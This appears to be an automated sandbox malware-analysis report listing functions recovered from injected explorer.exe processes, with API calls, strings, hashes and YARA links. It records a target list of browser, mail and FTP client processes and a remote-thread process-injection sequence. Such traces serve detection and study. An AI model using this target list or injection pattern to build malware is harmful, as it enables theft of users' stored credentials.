Opcode ID: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction ID: bac8ffc0e07ee2815379e36243d7a6d0e7e2aa50df525fc81d66bdb740a210e8
Opcode Fuzzy Hash: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction Fuzzy Hash: 83A17C74729706DFC714EF69C490A2EB7E9AF88704F04492DF6558B294EBB0EC818B42

Function 032878B9 Relevance: 5.2, APIs: 4, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?), ref: 03287979
memset.NTDLL ref: 0328798A
memcpy.NTDLL(?,?,?), ref: 03287A00
memset.NTDLL ref: 03287A14

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 78434c0900277a6aa22a8789dcaf8fdef7a1cd05dfc0f263744cb3fc992415b6
Instruction ID: bf37fbc53282b78fccbc371d6c59c7501fd19e5a0a26dca6e5f31aba9d13477e
Opcode Fuzzy Hash: 78434c0900277a6aa22a8789dcaf8fdef7a1cd05dfc0f263744cb3fc992415b6
Instruction Fuzzy Hash: 7F81C4756293159FC350EF2DC880A2BBBE5FF88604F14496DF8898B291D770E985CB91

Function 0327190B Relevance: 5.0, APIs: 4, Instructions: 36stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,00000000,03272783), ref: 0327192B
lstrlen.KERNEL32(00000000,?,?,?,00000000,03272783), ref: 03271930
lstrcat.KERNEL32(00000000,?), ref: 03271946
lstrcat.KERNEL32(00000000,00000000), ref: 0327194A

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: e5c1d5da5f1b078ab9049d5adf59cb15856bac40fa3cb6ccc533f47e8f11ffd1
Instruction ID: 8346add313f8a481cbe4254ce77c886418c04da1ede9462c7709fcdd85658739
Opcode Fuzzy Hash: e5c1d5da5f1b078ab9049d5adf59cb15856bac40fa3cb6ccc533f47e8f11ffd1
Instruction Fuzzy Hash: 74E09B6631021D5B4720B6AE6C84D7B76DCEEC55A530D0175F905D3305EEA5AC0186B0

Analysis Process: explorer.exePID: 6760, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	21.7%
Dynamic/Decrypted Code Coverage:	87.3%
Signature Coverage:	0%
Total number of Nodes:	181
Total number of Limit Nodes:	17

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 001D30A8 Relevance: 4.7, APIs: 3, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 001D3104
FindNextFileW.KERNELBASE ref: 001D3218
FindClose.KERNELBASE ref: 001D3229

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d1000_explorer.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction ID: e0725c67f65c2af896ee9c226cd1d219abb0b36e30746fbc7e31b979eb80c14b
Opcode Fuzzy Hash: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction Fuzzy Hash: 5D417330718B4D5FDB54EB3894597AA73D2FBE8340F444A2AE45AC3391EF78D9048782

Function 001D38B0 Relevance: 1.5, APIs: 1, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 001D38F2

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d1000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction ID: d7afa70458a50b82f9b773229a29cc8fc1395a10b81e4b2ece8b65aa48b439dc
Opcode Fuzzy Hash: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction Fuzzy Hash: 9AF0A030F11A082BEA6C77BD685D3282280EB68310F90062BB525C33E2DE398A458302

Function 001D2774 Relevance: 6.1, APIs: 4, Instructions: 124
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE ref: 001D27C7
RegQueryValueExW.KERNELBASE ref: 001D27F4
RegQueryValueExW.KERNELBASE ref: 001D283A
RegCloseKey.KERNELBASE ref: 001D2860

Part of subcall function 001D1860: RtlFreeHeap.NTDLL ref: 001D1880

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d1000_explorer.jbxd

Similarity

API ID: QueryValue$CloseFreeHeapOpen
String ID:
API String ID: 1641618270-0
Opcode ID: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction ID: 4e7e998e761750d41a5a54e5edd1ea72fde0c9c61537ead481fb8b03583dcee9
Opcode Fuzzy Hash: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction Fuzzy Hash: 7A316E30208B488FE769DB28D45877ABBD0FBB8355F54062FE49AC3264DF34D8469742

Function 001D372C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE ref: 001D37B2
RegCloseKey.KERNELBASE ref: 001D37C1

Strings

?, xrefs: 001D37A2

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d1000_explorer.jbxd

Similarity

API ID: CloseCreate
String ID: ?
API String ID: 2932200918-1684325040
Opcode ID: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction ID: b182950bdd00a600025b031e3234daaaa3e588dabaa9d198138e844f566c4a8f
Opcode Fuzzy Hash: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction Fuzzy Hash: 18116070618B488FD751DF69D48866AB7E1FB98345F50062FE48AC3360DF389985CB82

Function 001DA298 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 001DA397
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 001DA441
VirtualProtect.KERNELBASE ref: 001DA45F

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D9000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d9000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction ID: 5768982b0f36e44076531008775d5e4297576efe290e56356b008267c4342c97
Opcode Fuzzy Hash: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction Fuzzy Hash: 7351463275891D5BCB28EA7C98942F5B7D2FF59321B98062BC49AC3384D759D8468383

Function 001D3254 Relevance: 4.7, APIs: 3, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001D298C: GetFileAttributesW.KERNELBASE ref: 001D299E

GetPrivateProfileSectionNamesW.KERNEL32 ref: 001D330F
GetPrivateProfileStringW.KERNEL32 ref: 001D336F
GetPrivateProfileIntW.KERNEL32 ref: 001D338C

Part of subcall function 001D30A8: FindFirstFileW.KERNELBASE ref: 001D3104

Part of subcall function 001D1860: RtlFreeHeap.NTDLL ref: 001D1880

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d1000_explorer.jbxd

Similarity

API ID: PrivateProfile$File$AttributesFindFirstFreeHeapNamesSectionString
String ID:
API String ID: 970345848-0
Opcode ID: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction ID: e98378272e2651de6e2753318e27cd1a63479545120386f18f59f783f6cf2a44
Opcode Fuzzy Hash: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction Fuzzy Hash: AA51B430718F195BEB59BB2C985667972D2FBA8300B44056FE41AC3396EF78DD428387

Function 001D3458 Relevance: 4.7, APIs: 3, Instructions: 172
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE ref: 001D347E
RegOpenKeyExW.KERNELBASE ref: 001D353F
RegEnumKeyExW.KERNELBASE ref: 001D35D6

Part of subcall function 001D2774: RegOpenKeyExW.KERNELBASE ref: 001D27C7
Part of subcall function 001D2774: RegQueryValueExW.KERNELBASE ref: 001D27F4
Part of subcall function 001D2774: RegQueryValueExW.KERNELBASE ref: 001D283A
Part of subcall function 001D2774: RegCloseKey.KERNELBASE ref: 001D2860

Part of subcall function 001D3254: GetPrivateProfileSectionNamesW.KERNEL32 ref: 001D330F

Part of subcall function 001D1860: RtlFreeHeap.NTDLL ref: 001D1880

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d1000_explorer.jbxd

Similarity

API ID: OpenQueryValue$CloseEnumFreeHeapNamesPrivateProfileSection
String ID:
API String ID: 1841478724-0
Opcode ID: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction ID: 0e33bd0f8b213b7608e1a87d3074433987aa4d794f61a9af5e539c9510e7d4fa
Opcode Fuzzy Hash: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction Fuzzy Hash: A7414830718B484FDB98EF6D949972AB6E2FBA8341F00496FA55EC3361DF34D9448B42

Function 001D2938 Relevance: 3.0, APIs: 2, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 001D2966
CloseHandle.KERNELBASE ref: 001D297A

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d1000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction ID: 264686b8a3205558d5275380e21c4bc67fa738683c4cb186f0059383a4edd806
Opcode Fuzzy Hash: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction Fuzzy Hash: 5CF0E57021571A8FE7486FB844A8336F5D0FB18319F18463EE46AC23D0D77888428702

Function 001D22B4 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 001D22D0

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d1000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction ID: 90f727c0e57445b95457ab55e376c8520b97de21b185cfb7d751038cfe3d5542
Opcode Fuzzy Hash: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction Fuzzy Hash: 50E08C30108B0A8FD758AFBCE4CA07A33A1EBAC252B05053FE005CB114D27988C18741

Function 001D298C Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 001D299E

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction ID: c92bfb55fac26fb4ccd0511eb5877d43910f68b3fb52d136159fb6de357868a1
Opcode Fuzzy Hash: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction Fuzzy Hash: 1CD05E22612915076B6C26F908E927120A0D73932EB94022BEA36C13A0E3A5C895A201

Function 001D1860 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 001D1880

Memory Dump Source

Source File: 0000000B.00000002.2946927222.00000000001D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 001D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1d1000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction ID: 40d4adad595331773e2bc96fd1c17638c7bb9a22ed4221692365951983957922
Opcode Fuzzy Hash: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction Fuzzy Hash: 23D01224716A042BEF2CBBFE2C8D1747AD2E768212B588066B819C3352EE3DC895C341

Analysis Process: explorer.exePID: 1532, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	97.4%
Signature Coverage:	17.3%
Total number of Nodes:	306
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03221016 Relevance: 89.5, APIs: 30, Strings: 21, Instructions: 244
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03222608: VirtualQuery.KERNEL32(03224434,?,0000001C), ref: 03222615

Part of subcall function 03222861: GetProcessHeap.KERNEL32(00000008,0000A000,032210CC), ref: 03222864
Part of subcall function 03222861: RtlAllocateHeap.NTDLL(00000000), ref: 0322286B

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 03221038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 0322106B
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 03221074
GetCurrentProcessId.KERNEL32(?,03221010), ref: 0322107A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 032210DF
Process32First.KERNEL32(00000000,?), ref: 032210FE
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 0322111A
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 0322112E
lstrcmpiA.KERNEL32(?,chrome.exe), ref: 03221142
lstrcmpiA.KERNEL32(?,opera.exe), ref: 03221156
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 03221166
lstrcmpiA.KERNEL32(?,outlook.exe), ref: 0322117A
lstrcmpiA.KERNEL32(?,thebat.exe), ref: 0322118E
lstrcmpiA.KERNEL32(?,thebat32.exe), ref: 032211A2
lstrcmpiA.KERNEL32(?,thebat64.exe), ref: 032211B6
lstrcmpiA.KERNEL32(?,thunderbird.exe), ref: 032211CA
lstrcmpiA.KERNEL32(?,filezilla.exe), ref: 032211DE
lstrcmpiA.KERNEL32(?,smartftp.exe), ref: 032211F2
lstrcmpiA.KERNEL32(?,winscp.exe), ref: 03221206
lstrcmpiA.KERNEL32(?,flashfxp.exe), ref: 03221216
lstrcmpiA.KERNEL32(?,cuteftppro.exe), ref: 03221226
lstrcmpiA.KERNEL32(?,mailmaster.exe), ref: 03221236
lstrcmpiA.KERNEL32(?,263em.exe), ref: 03221246
lstrcmpiA.KERNEL32(?,foxmail.exe), ref: 03221256
lstrcmpiA.KERNEL32(?,alimail.exe), ref: 03221266
lstrcmpiA.KERNEL32(?,mailchat.exe), ref: 03221276
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 032212B4
Process32Next.KERNEL32(00000000,00000128), ref: 0322130B
CloseHandle.KERNELBASE(00000000), ref: 0322131C
Sleep.KERNELBASE(000003E8), ref: 03221327

Strings

alimail.exe, xrefs: 0322125C
263em.exe, xrefs: 0322123C
cuteftppro.exe, xrefs: 0322121C
smartftp.exe, xrefs: 032211E8
outlook.exe, xrefs: 03221170
mailchat.exe, xrefs: 0322126C
mailmaster.exe, xrefs: 0322122C
opera.exe, xrefs: 0322114C
foxmail.exe, xrefs: 0322124C
thebat64.exe, xrefs: 032211AC
winscp.exe, xrefs: 032211FC
thebat32.exe, xrefs: 03221198
flashfxp.exe, xrefs: 0322120C
microsoftedgecp.exe, xrefs: 032210D2, 03221160, 032212AE
thunderbird.exe, xrefs: 032211C0
0-vP,v, xrefs: 03221074
thebat.exe, xrefs: 03221184
chrome.exe, xrefs: 03221138
filezilla.exe, xrefs: 032211D4
iexplore.exe, xrefs: 03221124
firefox.exe, xrefs: 03221114

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapMemoryMoveProcessProcess32$AllocateCloseCreateCurrentFirstHandleNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtual
String ID: 0-vP,v$263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 2555639992-2153411049
Opcode ID: 3c096b0c7815f787015b6cf02f51cbadf6cdd8357dc65268d356f1cf37601f21
Instruction ID: d489efdd236ecf16d7a15236356c9a04f9a1d23c6e0a7870b7ebabc88a446b57
Opcode Fuzzy Hash: 3c096b0c7815f787015b6cf02f51cbadf6cdd8357dc65268d356f1cf37601f21
Instruction Fuzzy Hash: 5471D835620336BBC710EB71AC48E6E7FACAF55680B4C4A29FE40C7045DB79F6858A74

Function 032210A4 Relevance: 80.7, APIs: 26, Strings: 20, Instructions: 203
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03222861: GetProcessHeap.KERNEL32(00000008,0000A000,032210CC), ref: 03222864
Part of subcall function 03222861: RtlAllocateHeap.NTDLL(00000000), ref: 0322286B

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 032210DF
Process32First.KERNEL32(00000000,?), ref: 032210FE
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 0322111A
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 0322112E
lstrcmpiA.KERNEL32(?,chrome.exe), ref: 03221142
lstrcmpiA.KERNEL32(?,opera.exe), ref: 03221156
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 03221166
lstrcmpiA.KERNEL32(?,outlook.exe), ref: 0322117A
lstrcmpiA.KERNEL32(?,thebat.exe), ref: 0322118E
lstrcmpiA.KERNEL32(?,thebat32.exe), ref: 032211A2
lstrcmpiA.KERNEL32(?,thebat64.exe), ref: 032211B6
lstrcmpiA.KERNEL32(?,thunderbird.exe), ref: 032211CA
lstrcmpiA.KERNEL32(?,filezilla.exe), ref: 032211DE
lstrcmpiA.KERNEL32(?,smartftp.exe), ref: 032211F2
lstrcmpiA.KERNEL32(?,winscp.exe), ref: 03221206
lstrcmpiA.KERNEL32(?,flashfxp.exe), ref: 03221216
lstrcmpiA.KERNEL32(?,cuteftppro.exe), ref: 03221226
lstrcmpiA.KERNEL32(?,mailmaster.exe), ref: 03221236
lstrcmpiA.KERNEL32(?,263em.exe), ref: 03221246
lstrcmpiA.KERNEL32(?,foxmail.exe), ref: 03221256
lstrcmpiA.KERNEL32(?,alimail.exe), ref: 03221266
lstrcmpiA.KERNEL32(?,mailchat.exe), ref: 03221276
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 032212B4
Process32Next.KERNEL32(00000000,00000128), ref: 0322130B
CloseHandle.KERNELBASE(00000000), ref: 0322131C
Sleep.KERNELBASE(000003E8), ref: 03221327

Strings

alimail.exe, xrefs: 0322125C
263em.exe, xrefs: 0322123C
cuteftppro.exe, xrefs: 0322121C
smartftp.exe, xrefs: 032211E8
outlook.exe, xrefs: 03221170
mailchat.exe, xrefs: 0322126C
mailmaster.exe, xrefs: 0322122C
opera.exe, xrefs: 0322114C
foxmail.exe, xrefs: 0322124C
thebat64.exe, xrefs: 032211AC
winscp.exe, xrefs: 032211FC
thebat32.exe, xrefs: 03221198
flashfxp.exe, xrefs: 0322120C
microsoftedgecp.exe, xrefs: 032210D2, 03221160, 032212AE
thunderbird.exe, xrefs: 032211C0
thebat.exe, xrefs: 03221184
chrome.exe, xrefs: 03221138
filezilla.exe, xrefs: 032211D4
iexplore.exe, xrefs: 03221124
firefox.exe, xrefs: 03221114

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapProcess32$AllocateCloseCreateFirstHandleNextProcessSleepSnapshotToolhelp32
String ID: 263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 3950187957-1680033604
Opcode ID: 06d1186c71119420c91f395902275101fc9e965ab004db3f9f072ed6a8b44f51
Instruction ID: 4f3110c111c48039931ded274ab514571a200c4b7fea20b428213849e020a33d
Opcode Fuzzy Hash: 06d1186c71119420c91f395902275101fc9e965ab004db3f9f072ed6a8b44f51
Instruction Fuzzy Hash: A251A735A24336BACB10EA719C44E6FBEEC6F45680B4C0A29FA40C3045DB79F5958AB5

Function 03227728 Relevance: 6.2, APIs: 4, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003226000.00000040.80000000.00040000.00000000.sdmp, Offset: 03226000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3226000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2210da374603eb32f74879ff04510a3b74123c38595040e5d607f60cc3bed7a4
Instruction ID: 8fcf76e48d430e6d8191a2ec0aecbd6bc3aaf8a1519aa046403532a6e1914c44
Opcode Fuzzy Hash: 2210da374603eb32f74879ff04510a3b74123c38595040e5d607f60cc3bed7a4
Instruction Fuzzy Hash: B3512B7192C7A26FD721CA7CDC806B17FA4DB42220B1D06B9C9E5CB3C7E7A45885C761

Function 03222861 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,032210CC), ref: 03222864
RtlAllocateHeap.NTDLL(00000000), ref: 0322286B

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 09d0ba32d4ab18af802edeb81147051f7013c5d8dd9ac664c1fbe0a66aa3fc31
Instruction ID: 32d6e249099b6fe673e021e90e7b0a1151774108144cfbad0d3beb5b370de456
Opcode Fuzzy Hash: 09d0ba32d4ab18af802edeb81147051f7013c5d8dd9ac664c1fbe0a66aa3fc31
Instruction Fuzzy Hash: 25A012744001007FDD50BBA0BC0DF453A19A750301F009000B389C4044996C014C8735

Non-executed Functions

Function 03221819 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03222608: VirtualQuery.KERNEL32(03224434,?,0000001C), ref: 03222615

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,7591E800,microsoftedgecp.exe,?), ref: 0322184E
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 03221889
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 03221919
RtlMoveMemory.NTDLL(00000000,03223428,00000016), ref: 03221940
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 03221968
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 03221978
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 03221992
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 0322199A
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 032219A8
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 032219AF
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 032219C5
GetProcAddress.KERNEL32(00000000), ref: 032219CC
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 032219E2
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 03221A0C
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03221A1F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03221A26
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03221A2D
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 03221A41
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03221A58
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03221A65
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03221A6B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03221A71
CloseHandle.KERNEL32(00000000,?,00000000), ref: 03221A74

Strings

atan, xrefs: 032219BB
microsoftedgecp.exe, xrefs: 0322181D
opera_shared_counter, xrefs: 0322198B
0-vP,v, xrefs: 03221910
ntdll, xrefs: 032219C0

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: 0-vP,v$atan$microsoftedgecp.exe$ntdll$opera_shared_counter
API String ID: 1066286714-2027951781
Opcode ID: 477d4533cf7284e1b1612701b59c05313ec24beb2aa5c5e602a34583b90b01d2
Instruction ID: 7c32bb1a24c4a7d57d3fba2054e7dfdf92979bf400c614ce80b30b80e3384751
Opcode Fuzzy Hash: 477d4533cf7284e1b1612701b59c05313ec24beb2aa5c5e602a34583b90b01d2
Instruction Fuzzy Hash: C961AE35204315BFD320EF25AC88E6BBFECEF58650F054618FA4992240D778EA44CBA2

Function 0322263E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 0322265A
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 03222672
lstrlen.KERNEL32(?,00000000), ref: 0322267A
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 03222685
